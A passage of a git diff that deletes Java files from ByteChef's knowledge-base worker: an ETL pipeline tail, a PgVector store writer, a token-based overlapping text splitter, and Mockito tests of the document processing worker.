-        this.transformerChain = transformerChain;
-        this.vectorStoreWriter = vectorStoreWriter;
-    }
-
-    /**
-     * Processes a document through the ETL pipeline (Extract and Transform only, no Load).
-     *
-     * @param resource          the document resource
-     * @param mimeType          the MIME type of the document
-     * @param minChunkSizeChars the minimum chunk size in characters for splitting
-     * @param maxChunkSize      the maximum chunk size for splitting
-     * @param overlap           the number of characters to overlap between chunks (0 for no overlap)
-     * @return the list of processed documents (not yet stored in vector store)
-     */
-    public List<Document> process(
-        Resource resource, String mimeType, int minChunkSizeChars, int maxChunkSize, int overlap) {
-
-        // Extract: Read documents from the source
-        DocumentReader documentReader = documentReaderFactory.createDocumentReader(resource, mimeType);
-
-        List<Document> documents = documentReader.get();
-
-        // Transform: Split documents into chunks
-        return transformerChain.transform(documents, minChunkSizeChars, maxChunkSize, overlap);
-    }
-
-    /**
-     * Writes a single chunk to the vector store with all metadata including chunk ID.
-     *
-     * @param document        the document to write
-     * @param knowledgeBaseId the knowledge base ID
-     * @param documentId      the knowledge base document ID
-     * @param chunkId         the knowledge base document chunk ID
-     * @param tagIds          the tag IDs associated with the document
-     * @return the vector store ID assigned to the document
-     */
-    public String writeChunkToVectorStore(
-        Document document, Long knowledgeBaseId, Long documentId, Long chunkId, List<Long> tagIds) {
-
-        vectorStoreWriter.writeChunk(document, knowledgeBaseId, documentId, chunkId, tagIds);
-
-        return document.getId();
-    }
-
-    /**
-     * Processes a single chunk update through the pipeline.
-     *
-     * @param content         the chunk content
-     * @param knowledgeBaseId the knowledge base ID
-     * @param documentId      the knowledge base document ID
-     * @param chunkId         the knowledge base document chunk ID
-     * @param tagIds          the tag IDs associated with the document
-     */
-    public void processChunkUpdate(
-        String content, Long knowledgeBaseId, Long documentId, Long chunkId, List<Long> tagIds) {
-
-        Document document = new Document(content);
-
-        vectorStoreWriter.writeChunk(document, knowledgeBaseId, documentId, chunkId, tagIds);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseVectorStoreWriter.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseVectorStoreWriter.java
deleted file mode 100644
index 2bd67d4d8d5..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseVectorStoreWriter.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.etl;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Component;
-
-/**
- * Writer for storing knowledge base documents in PgVector store.
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseVectorStoreWriter {
-
-    public static final String METADATA_KNOWLEDGE_BASE_ID = "knowledge_base_id";
-    public static final String METADATA_KNOWLEDGE_BASE_DOCUMENT_ID = "knowledge_base_document_id";
-    public static final String METADATA_KNOWLEDGE_BASE_DOCUMENT_CHUNK_ID = "knowledge_base_document_chunk_id";
-    public static final String METADATA_TAG_IDS = "tag_ids";
-
-    private final VectorStore vectorStore;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseVectorStoreWriter(@Qualifier("knowledgeBasePgVectorStore") VectorStore vectorStore) {
-        this.vectorStore = vectorStore;
-    }
-
-    /**
-     * Writes documents to the vector store with knowledge base metadata.
-     *
-     * @param documents               the documents to write
-     * @param knowledgeBaseId         the knowledge base ID
-     * @param knowledgeBaseDocumentId the knowledge base document ID
-     * @param tagIds                  the tag IDs associated with the document
-     */
-    public void write(
-        List<Document> documents, long knowledgeBaseId, long knowledgeBaseDocumentId, List<Long> tagIds) {
-
-        List<Document> sanitizedDocuments = documents.stream()
-            .map(document -> sanitizeDocument(document, knowledgeBaseId, knowledgeBaseDocumentId, -1, tagIds))
-            .toList();
-
-        vectorStore.add(sanitizedDocuments);
-    }
-
-    /**
-     * Writes a single document (chunk) to the vector store with knowledge base metadata.
-     *
-     * @param document        the document to write
-     * @param knowledgeBaseId the knowledge base ID
-     * @param documentId      the knowledge base document ID
-     * @param chunkId         the knowledge base document chunk ID
-     * @param tagIds          the tag IDs associated with the document
-     */
-    public void writeChunk(
-        Document document, Long knowledgeBaseId, Long documentId, Long chunkId, List<Long> tagIds) {
-
-        Document sanitizedDocument = sanitizeDocument(document, knowledgeBaseId, documentId, chunkId, tagIds);
-
-        vectorStore.add(List.of(sanitizedDocument));
-    }
-
-    /**
-     * Deletes documents by their vector store IDs.
-     *
-     * @param vectorStoreIds the vector store document IDs to delete
-     */
-    public void delete(List<String> vectorStoreIds) {
-        vectorStore.delete(vectorStoreIds);
-    }
-
-    /**
-     * Returns the underlying vector store for advanced operations.
-     *
-     * @return the vector store
-     */
-    @SuppressFBWarnings("EI")
-    public VectorStore getVectorStore() {
-        return vectorStore;
-    }
-
-    /**
-     * Sanitizes a document by removing null bytes from content and adding knowledge base metadata. PostgreSQL text
-     * columns don't support null bytes (0x00).
-     */
-    private Document sanitizeDocument(
-        Document document, long knowledgeBaseId, long knowledgeBaseDocumentId, long knowledgeBaseDocumentChunkId,
-        List<Long> tagIds) {
-
-        String content = document.getText();
-
-        if (content != null) {
-            content = content.replace("\0", "");
-        }
-
-        Map<String, Object> metadata = new java.util.HashMap<>(document.getMetadata());
-
-        metadata.put(METADATA_KNOWLEDGE_BASE_ID, knowledgeBaseId);
-        metadata.put(METADATA_KNOWLEDGE_BASE_DOCUMENT_ID, knowledgeBaseDocumentId);
-
-        if (knowledgeBaseDocumentChunkId != -1) {
-            metadata.put(METADATA_KNOWLEDGE_BASE_DOCUMENT_CHUNK_ID, knowledgeBaseDocumentChunkId);
-        }
-
-        if (tagIds != null && !tagIds.isEmpty()) {
-            metadata.put(METADATA_TAG_IDS, tagIds);
-        }
-
-        return new Document(document.getId(), content, metadata);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/OverlappingTokenTextSplitter.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/OverlappingTokenTextSplitter.java
deleted file mode 100644
index 35448229bf0..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/OverlappingTokenTextSplitter.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.etl;
-
-import com.knuddels.jtokkit.Encodings;
-import com.knuddels.jtokkit.api.Encoding;
-import com.knuddels.jtokkit.api.EncodingRegistry;
-import com.knuddels.jtokkit.api.EncodingType;
-import com.knuddels.jtokkit.api.IntArrayList;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.document.DocumentTransformer;
-import org.springframework.util.Assert;
-
-/**
- * A document transformer that splits text into overlapping chunks based on token count. This provides better context
- * preservation when processing long texts for embeddings.
- *
- * <p>
- * This splitter uses the CL100K_BASE encoding (same as GPT-4) for tokenization. The chunk size is specified in tokens,
- * while minChunkSizeChars is in characters for finding good break points.
- * </p>
- *
- * @author Ivica Cardic
- */
-public class OverlappingTokenTextSplitter implements DocumentTransformer {
-
-    private static final int DEFAULT_CHUNK_SIZE = 800;
-    private static final int DEFAULT_MIN_CHUNK_SIZE_CHARS = 350;
-    private static final int DEFAULT_OVERLAP = 100;
-    private static final int DEFAULT_MIN_CHUNK_LENGTH_TO_EMBED = 5;
-    private static final int DEFAULT_MAX_NUM_CHUNKS = 10000;
-    private static final List<Character> DEFAULT_PUNCTUATION_MARKS = List.of('.', '?', '!', '\n');
-
-    private final EncodingRegistry registry = Encodings.newLazyEncodingRegistry();
-    private final Encoding encoding = registry.getEncoding(EncodingType.CL100K_BASE);
-
-    private final int chunkSize;
-    private final int minChunkSizeChars;
-    private final int overlap;
-    private final int minChunkLengthToEmbed;
-    private final int maxNumChunks;
-    private final List<Character> punctuationMarks;
-
-    public OverlappingTokenTextSplitter() {
-        this(
-            DEFAULT_CHUNK_SIZE, DEFAULT_MIN_CHUNK_SIZE_CHARS, DEFAULT_OVERLAP, DEFAULT_MIN_CHUNK_LENGTH_TO_EMBED,
-            DEFAULT_MAX_NUM_CHUNKS, DEFAULT_PUNCTUATION_MARKS);
-    }
-
-    /**
-     * Creates an OverlappingTokenTextSplitter.
-     *
-     * @param chunkSize             the target size of each chunk in tokens
-     * @param minChunkSizeChars     the minimum size of a chunk in characters for finding break points
-     * @param overlap               the number of tokens to overlap between chunks
-     * @param minChunkLengthToEmbed discard chunks shorter than this (in characters)
-     * @param maxNumChunks          the maximum number of chunks to generate
-     * @param punctuationMarks      punctuation marks to use for finding break points
-     */
-    public OverlappingTokenTextSplitter(
-        int chunkSize, int minChunkSizeChars, int overlap, int minChunkLengthToEmbed, int maxNumChunks,
-        List<Character> punctuationMarks) {
-
-        Assert.isTrue(overlap < chunkSize, "Overlap must be less than chunk size");
-        Assert.isTrue(overlap >= 0, "Overlap must be non-negative");
-        Assert.notEmpty(punctuationMarks, "punctuationMarks must not be empty");
-
-        this.chunkSize = chunkSize;
-        this.minChunkSizeChars = minChunkSizeChars;
-        this.overlap = overlap;
-        this.minChunkLengthToEmbed = minChunkLengthToEmbed;
-        this.maxNumChunks = maxNumChunks;
-        this.punctuationMarks = List.copyOf(punctuationMarks);
-    }
-
-    @Override
-    public List<Document> apply(List<Document> documents) {
-        List<Document> result = new ArrayList<>();
-
-        for (Document document : documents) {
-            result.addAll(splitDocument(document));
-        }
-
-        return result;
-    }
-
-    private List<Document> splitDocument(Document document) {
-        List<Document> chunks = new ArrayList<>();
-        String text = document.getText();
-
-        if (text == null || text.trim()
-            .isEmpty()) {
-            return chunks;
-        }
-
-        List<Integer> tokens = getEncodedTokens(text);
-
-        if (tokens.size() <= chunkSize) {
-            if (text.trim()
-                .length() >= minChunkLengthToEmbed) {
-                chunks.add(copyDocumentWithText(document, text.trim()));
-            }
-
-            return chunks;
-        }
-
-        int numChunks = 0;
-        int tokenStart = 0;
-
-        while (tokenStart < tokens.size() && numChunks < maxNumChunks) {
-            int tokenEnd = Math.min(tokenStart + chunkSize, tokens.size());
-            List<Integer> chunkTokens = tokens.subList(tokenStart, tokenEnd);
-            String chunkText = decodeTokens(chunkTokens);
-
-            if (chunkText.trim()
-                .isEmpty()) {
-                tokenStart = tokenEnd;
-
-                continue;
-            }
-
-            int actualTokensUsed = chunkTokens.size();
-
-            if (tokens.size() > tokenEnd) {
-                int lastPunctuation = getLastPunctuationIndex(chunkText);
-
-                if (lastPunctuation != -1 && lastPunctuation > minChunkSizeChars) {
-                    String truncatedText = chunkText.substring(0, lastPunctuation + 1);
-                    actualTokensUsed = getEncodedTokens(truncatedText).size();
-                    chunkText = truncatedText;
-                }
-            }
-
-            String chunkTextTrimmed = chunkText.trim();
-
-            if (chunkTextTrimmed.length() >= minChunkLengthToEmbed) {
-                chunks.add(copyDocumentWithText(document, chunkTextTrimmed));
-            }
-
-            int advancement = actualTokensUsed - overlap;
-
-            if (advancement <= 0) {
-                advancement = Math.max(1, actualTokensUsed / 2);
-            }
-
-            tokenStart += advancement;
-            numChunks++;
-        }
-
-        return chunks;
-    }
-
-    private int getLastPunctuationIndex(String chunkText) {
-        int maxLastPunctuation = -1;
-
-        for (Character punctuationMark : punctuationMarks) {
-            int lastPunctuation = chunkText.lastIndexOf(punctuationMark);
-            maxLastPunctuation = Math.max(maxLastPunctuation, lastPunctuation);
-        }
-
-        return maxLastPunctuation;
-    }
-
-    private List<Integer> getEncodedTokens(String text) {
-        Assert.notNull(text, "Text must not be null");
-
-        return encoding.encode(text)
-            .boxed();
-    }
-
-    private String decodeTokens(List<Integer> tokens) {
-        Assert.notNull(tokens, "Tokens must not be null");
-
-        IntArrayList tokensIntArray = new IntArrayList(tokens.size());
-
-        tokens.forEach(tokensIntArray::add);
-
-        return encoding.decode(tokensIntArray);
-    }
-
-    private Document copyDocumentWithText(Document original, String newText) {
-        Map<String, Object> metadata = original.getMetadata();
-
-        return new Document(newText, metadata);
-    }
-
-    public static Builder builder() {
-        return new Builder();
-    }
-
-    public static class Builder {
-
-        private int chunkSize = DEFAULT_CHUNK_SIZE;
-        private int minChunkSizeChars = DEFAULT_MIN_CHUNK_SIZE_CHARS;
-        private int overlap = DEFAULT_OVERLAP;
-        private int minChunkLengthToEmbed = DEFAULT_MIN_CHUNK_LENGTH_TO_EMBED;
-        private int maxNumChunks = DEFAULT_MAX_NUM_CHUNKS;
-        private List<Character> punctuationMarks = DEFAULT_PUNCTUATION_MARKS;
-
-        public Builder withChunkSize(int chunkSize) {
-            this.chunkSize = chunkSize;
-
-            return this;
-        }
-
-        public Builder withMinChunkSizeChars(int minChunkSizeChars) {
-            this.minChunkSizeChars = minChunkSizeChars;
-
-            return this;
-        }
-
-        public Builder withOverlap(int overlap) {
-            this.overlap = overlap;
-
-            return this;
-        }
-
-        public Builder withMinChunkLengthToEmbed(int minChunkLengthToEmbed) {
-            this.minChunkLengthToEmbed = minChunkLengthToEmbed;
-
-            return this;
-        }
-
-        public Builder withMaxNumChunks(int maxNumChunks) {
-            this.maxNumChunks = maxNumChunks;
-
-            return this;
-        }
-
-        public Builder withPunctuationMarks(List<Character> punctuationMarks) {
-            this.punctuationMarks = List.copyOf(punctuationMarks);
-
-            return this;
-        }
-
-        public OverlappingTokenTextSplitter build() {
-            return new OverlappingTokenTextSplitter(
-                chunkSize, minChunkSizeChars, overlap, minChunkLengthToEmbed, maxNumChunks, punctuationMarks);
-        }
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/test/java/com/bytechef/automation/knowledgebase/worker/KnowledgeBaseDocumentProcessWorkerIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/test/java/com/bytechef/automation/knowledgebase/worker/KnowledgeBaseDocumentProcessWorkerIntTest.java
deleted file mode 100644
index 40f81a9eeb5..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/test/java/com/bytechef/automation/knowledgebase/worker/KnowledgeBaseDocumentProcessWorkerIntTest.java
+++ /dev/null
@@ -1,344 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentChunkEvent;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentEvent;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentChunkService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.knowledgebase.worker.etl.KnowledgeBaseEtlPipeline;
-import com.bytechef.file.storage.domain.FileEntry;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.List;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-import org.springframework.ai.document.Document;
-import org.springframework.core.io.Resource;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentProcessWorker}.
- *
- * @author Ivica Cardic
- */
-@ExtendWith(MockitoExtension.class)
-class KnowledgeBaseDocumentProcessWorkerIntTest {
-
-    @Mock
-    private KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService;
-
-    @Mock
-    private KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-
-    @Mock
-    private KnowledgeBaseEtlPipeline knowledgeBaseEtlPipeline;
-
-    @Mock
-    private KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-
-    @Mock
-    private KnowledgeBaseService knowledgeBaseService;
-
-    private KnowledgeBaseDocumentProcessWorker worker;
-
-    @BeforeEach
-    void beforeEach() {
-        worker = new KnowledgeBaseDocumentProcessWorker(
-            knowledgeBaseDocumentChunkService,
-            knowledgeBaseDocumentService,
-            knowledgeBaseEtlPipeline,
-            knowledgeBaseFileStorage,
-            knowledgeBaseService);
-    }
-
-    @Test
-    void testOnKnowledgeBaseDocumentEvent() {
-        Long documentId = 1L;
-        Long knowledgeBaseId = 1L;
-
-        KnowledgeBaseDocument document = createMockDocument(documentId, knowledgeBaseId);
-        KnowledgeBase knowledgeBase = createMockKnowledgeBase(knowledgeBaseId);
-
-        byte[] documentBytes = "Document content".getBytes(StandardCharsets.UTF_8);
-        FileEntry fileEntry = document.getDocument();
-
-        Document aiDocument1 = new Document("Chunk 1 content");
-        Document aiDocument2 = new Document("Chunk 2 content");
-
-        List<Document> processedDocuments = List.of(aiDocument1, aiDocument2);
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(document);
-        when(knowledgeBaseService.getKnowledgeBase(knowledgeBaseId)).thenReturn(knowledgeBase);
-        when(knowledgeBaseFileStorage.readDocumentToBytes(fileEntry)).thenReturn(documentBytes);
-        when(knowledgeBaseEtlPipeline.process(
-            any(Resource.class), eq(fileEntry.getMimeType()),
-            eq(knowledgeBase.getMinChunkSizeChars()), eq(knowledgeBase.getMaxChunkSize()),
-            eq(knowledgeBase.getOverlap())))
-                .thenReturn(processedDocuments);
-
-        KnowledgeBaseDocumentChunk savedChunk1 = createMockChunk(1L, documentId);
-        KnowledgeBaseDocumentChunk savedChunk2 = createMockChunk(2L, documentId);
-
-        when(knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunk(any(KnowledgeBaseDocumentChunk.class)))
-            .thenReturn(savedChunk1, savedChunk1, savedChunk2, savedChunk2);
-
-        when(knowledgeBaseEtlPipeline.writeChunkToVectorStore(
-            any(Document.class), eq(knowledgeBaseId), eq(documentId), anyLong(), any())).thenReturn("vector-store-id-1",
-                "vector-store-id-2");
-
-        FileEntry chunkFileEntry1 = new FileEntry("1.txt", "file://test/chunks/1.txt");
-        FileEntry chunkFileEntry2 = new FileEntry("2.txt", "file://test/chunks/2.txt");
-
-        when(knowledgeBaseFileStorage.storeChunkContent(eq(1L), eq("Chunk 1 content"))).thenReturn(chunkFileEntry1);
-        when(knowledgeBaseFileStorage.storeChunkContent(eq(2L), eq("Chunk 2 content"))).thenReturn(chunkFileEntry2);
-
-        List<Integer> capturedStatuses = new ArrayList<>();
-
-        doAnswer(invocation -> {
-            KnowledgeBaseDocument doc = invocation.getArgument(0);
-
-            capturedStatuses.add(doc.getStatus());
-
-            return null;
-        }).when(knowledgeBaseDocumentService)
-            .saveKnowledgeBaseDocument(any(KnowledgeBaseDocument.class));
-
-        KnowledgeBaseDocumentEvent event = new KnowledgeBaseDocumentEvent(documentId);
-
-        worker.onKnowledgeBaseDocumentEvent(event);
-
-        verify(knowledgeBaseDocumentService, times(2)).saveKnowledgeBaseDocument(any(KnowledgeBaseDocument.class));
-
-        assertThat(capturedStatuses).hasSize(2);
-        assertThat(capturedStatuses.get(0)).isEqualTo(KnowledgeBaseDocument.STATUS_PROCESSING);
-        assertThat(capturedStatuses.get(1)).isEqualTo(KnowledgeBaseDocument.STATUS_READY);
-
-        verify(knowledgeBaseDocumentChunkService, times(4))
-            .saveKnowledgeBaseDocumentChunk(any(KnowledgeBaseDocumentChunk.class));
-        verify(knowledgeBaseFileStorage).storeChunkContent(eq(1L), eq("Chunk 1 content"));
-        verify(knowledgeBaseFileStorage).storeChunkContent(eq(2L), eq("Chunk 2 content"));
-    }
-
-    @Test
-    void testOnKnowledgeBaseDocumentEventWithError() {
-        Long documentId = 1L;
-        Long knowledgeBaseId = 1L;
-
-        KnowledgeBaseDocument document = createMockDocument(documentId, knowledgeBaseId);
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(document);
-        when(knowledgeBaseService.getKnowledgeBase(knowledgeBaseId))
-            .thenThrow(new RuntimeException("KnowledgeBase not found"));
-
-        List<Integer> capturedStatuses = new ArrayList<>();
-
-        doAnswer(invocation -> {
-            KnowledgeBaseDocument doc = invocation.getArgument(0);
-
-            capturedStatuses.add(doc.getStatus());
-
-            return null;
-        }).when(knowledgeBaseDocumentService)
-            .saveKnowledgeBaseDocument(any(KnowledgeBaseDocument.class));
-
-        KnowledgeBaseDocumentEvent event = new KnowledgeBaseDocumentEvent(documentId);
-
-        worker.onKnowledgeBaseDocumentEvent(event);
-
-        verify(knowledgeBaseDocumentService, times(2)).saveKnowledgeBaseDocument(any(KnowledgeBaseDocument.class));
-
-        assertThat(capturedStatuses).hasSize(2);
-        assertThat(capturedStatuses.get(0)).isEqualTo(KnowledgeBaseDocument.STATUS_PROCESSING);
-        assertThat(capturedStatuses.get(1)).isEqualTo(KnowledgeBaseDocument.STATUS_ERROR);
-    }
-
-    @Test
-    void testOnKnowledgeBaseDocumentEventWithEmptyDocumentList() {
-        Long documentId = 1L;
-        Long knowledgeBaseId = 1L;
-
-        KnowledgeBaseDocument document = createMockDocument(documentId, knowledgeBaseId);
-        KnowledgeBase knowledgeBase = createMockKnowledgeBase(knowledgeBaseId);
-
-        byte[] documentBytes = "Empty content".getBytes(StandardCharsets.UTF_8);
-        FileEntry fileEntry = document.getDocument();
-
-        List<Document> emptyDocuments = List.of();
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(document);
-        when(knowledgeBaseService.getKnowledgeBase(knowledgeBaseId)).thenReturn(knowledgeBase);
-        when(knowledgeBaseFileStorage.readDocumentToBytes(fileEntry)).thenReturn(documentBytes);
-        when(knowledgeBaseEtlPipeline.process(
-            any(Resource.class), eq(fileEntry.getMimeType()),
-            anyInt(), anyInt(), anyInt())).thenReturn(emptyDocuments);
-
-        List<Integer> capturedStatuses = new ArrayList<>();
-
-        doAnswer(invocation -> {
-            KnowledgeBaseDocument doc = invocation.getArgument(0);
-
-            capturedStatuses.add(doc.getStatus());
-
-            return null;
-        }).when(knowledgeBaseDocumentService)
-            .saveKnowledgeBaseDocument(any(KnowledgeBaseDocument.class));
-
-        KnowledgeBaseDocumentEvent event = new KnowledgeBaseDocumentEvent(documentId);
-
-        worker.onKnowledgeBaseDocumentEvent(event);
-
-        verify(knowledgeBaseDocumentChunkService, never()).saveKnowledgeBaseDocumentChunk(any());
-        verify(knowledgeBaseFileStorage, never()).storeChunkContent(anyLong(), anyString());
-
-        verify(knowledgeBaseDocumentService, times(2)).saveKnowledgeBaseDocument(any(KnowledgeBaseDocument.class));
-
-        assertThat(capturedStatuses).hasSize(2);
-        assertThat(capturedStatuses.get(1)).isEqualTo(KnowledgeBaseDocument.STATUS_READY);
-    }
-
-    @Test
-    void testOnKnowledgeBaseDocumentChunkEvent() {
-        Long chunkId = 1L;
-        Long documentId = 1L;
-        Long knowledgeBaseId = 1L;
-        String newContent = "Updated chunk content";
-
-        KnowledgeBaseDocumentChunk chunk = createMockChunk(chunkId, documentId);
-        KnowledgeBaseDocument document = createMockDocument(documentId, knowledgeBaseId);
-
-        when(knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(chunkId)).thenReturn(chunk);
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(document);
-
-        KnowledgeBaseDocumentChunkEvent event = new KnowledgeBaseDocumentChunkEvent(chunkId, newContent);
-
-        worker.onKnowledgeBaseDocumentChunkEvent(event);
-
-        verify(knowledgeBaseEtlPipeline).processChunkUpdate(
-            eq(newContent), eq(knowledgeBaseId), eq(documentId), eq(chunkId), any());
-    }
-
-    @Test
-    void testOnKnowledgeBaseDocumentChunkEventWithError() {
-        Long chunkId = 1L;
-        String newContent = "Updated chunk content";
-
-        when(knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(chunkId))
-            .thenThrow(new RuntimeException("Chunk not found"));
-
-        KnowledgeBaseDocumentChunkEvent event = new KnowledgeBaseDocumentChunkEvent(chunkId, newContent);
-
-        worker.onKnowledgeBaseDocumentChunkEvent(event);
-
-        verify(knowledgeBaseEtlPipeline, never()).processChunkUpdate(anyString(), anyLong(), anyLong(), anyLong(),
-            any());
-    }
-
-    @Test
-    void testOnKnowledgeBaseDocumentEventWithTags() {
-        Long documentId = 1L;
-        Long knowledgeBaseId = 1L;
-        List<Long> tagIds = List.of(1L, 2L, 3L);
-
-        KnowledgeBaseDocument document = createMockDocument(documentId, knowledgeBaseId);
-
-        document.setTagIds(tagIds);
-
-        KnowledgeBase knowledgeBase = createMockKnowledgeBase(knowledgeBaseId);
-
-        byte[] documentBytes = "Document content".getBytes(StandardCharsets.UTF_8);
-        FileEntry fileEntry = document.getDocument();
-
-        Document aiDocument = new Document("Chunk content");
-        List<Document> processedDocuments = List.of(aiDocument);
-
-        when(knowledgeBaseDocumentService.getKnowledgeBaseDocument(documentId)).thenReturn(document);
-        when(knowledgeBaseService.getKnowledgeBase(knowledgeBaseId)).thenReturn(knowledgeBase);
-        when(knowledgeBaseFileStorage.readDocumentToBytes(fileEntry)).thenReturn(documentBytes);
-        when(knowledgeBaseEtlPipeline.process(any(Resource.class), anyString(), anyInt(), anyInt(), anyInt()))
-            .thenReturn(processedDocuments);
-
-        KnowledgeBaseDocumentChunk savedChunk = createMockChunk(1L, documentId);
-
-        when(knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunk(any(KnowledgeBaseDocumentChunk.class)))
-            .thenReturn(savedChunk);
-        when(knowledgeBaseEtlPipeline.writeChunkToVectorStore(any(), anyLong(), anyLong(), anyLong(), eq(tagIds)))
-            .thenReturn("vector-store-id");
-        when(knowledgeBaseFileStorage.storeChunkContent(anyLong(), anyString()))
-            .thenReturn(new FileEntry("1.txt", "file://test/1.txt"));
-
-        KnowledgeBaseDocumentEvent event = new KnowledgeBaseDocumentEvent(documentId);
-
-        worker.onKnowledgeBaseDocumentEvent(event);
-
-        verify(knowledgeBaseEtlPipeline).writeChunkToVectorStore(any(), eq(knowledgeBaseId), eq(documentId), eq(1L),
-            eq(tagIds));
-    }
-
-    private KnowledgeBaseDocument createMockDocument(Long id, Long knowledgeBaseId) {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setId(id);
-        document.setKnowledgeBaseId(knowledgeBaseId);
-        document.setName("Test Document");
-        document.setDocument(new FileEntry("test.txt", "file://test/test.txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_UPLOADED);
-
-        return document;
-    }
-
-    private KnowledgeBase createMockKnowledgeBase(Long id) {
-        KnowledgeBase knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setId(id);
-        knowledgeBase.setName("Test KnowledgeBase");
-        knowledgeBase.setMaxChunkSize(1000);
-        knowledgeBase.setMinChunkSizeChars(100);
-        knowledgeBase.setOverlap(50);
-
-        return knowledgeBase;
-    }
-
-    private KnowledgeBaseDocumentChunk createMockChunk(Long id, Long documentId) {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setId(id);
-        chunk.setKnowledgeBaseDocumentId(documentId);
-        chunk.setVectorStoreId("vector-store-id-" + id);
-
-        return chunk;
-    }
-}
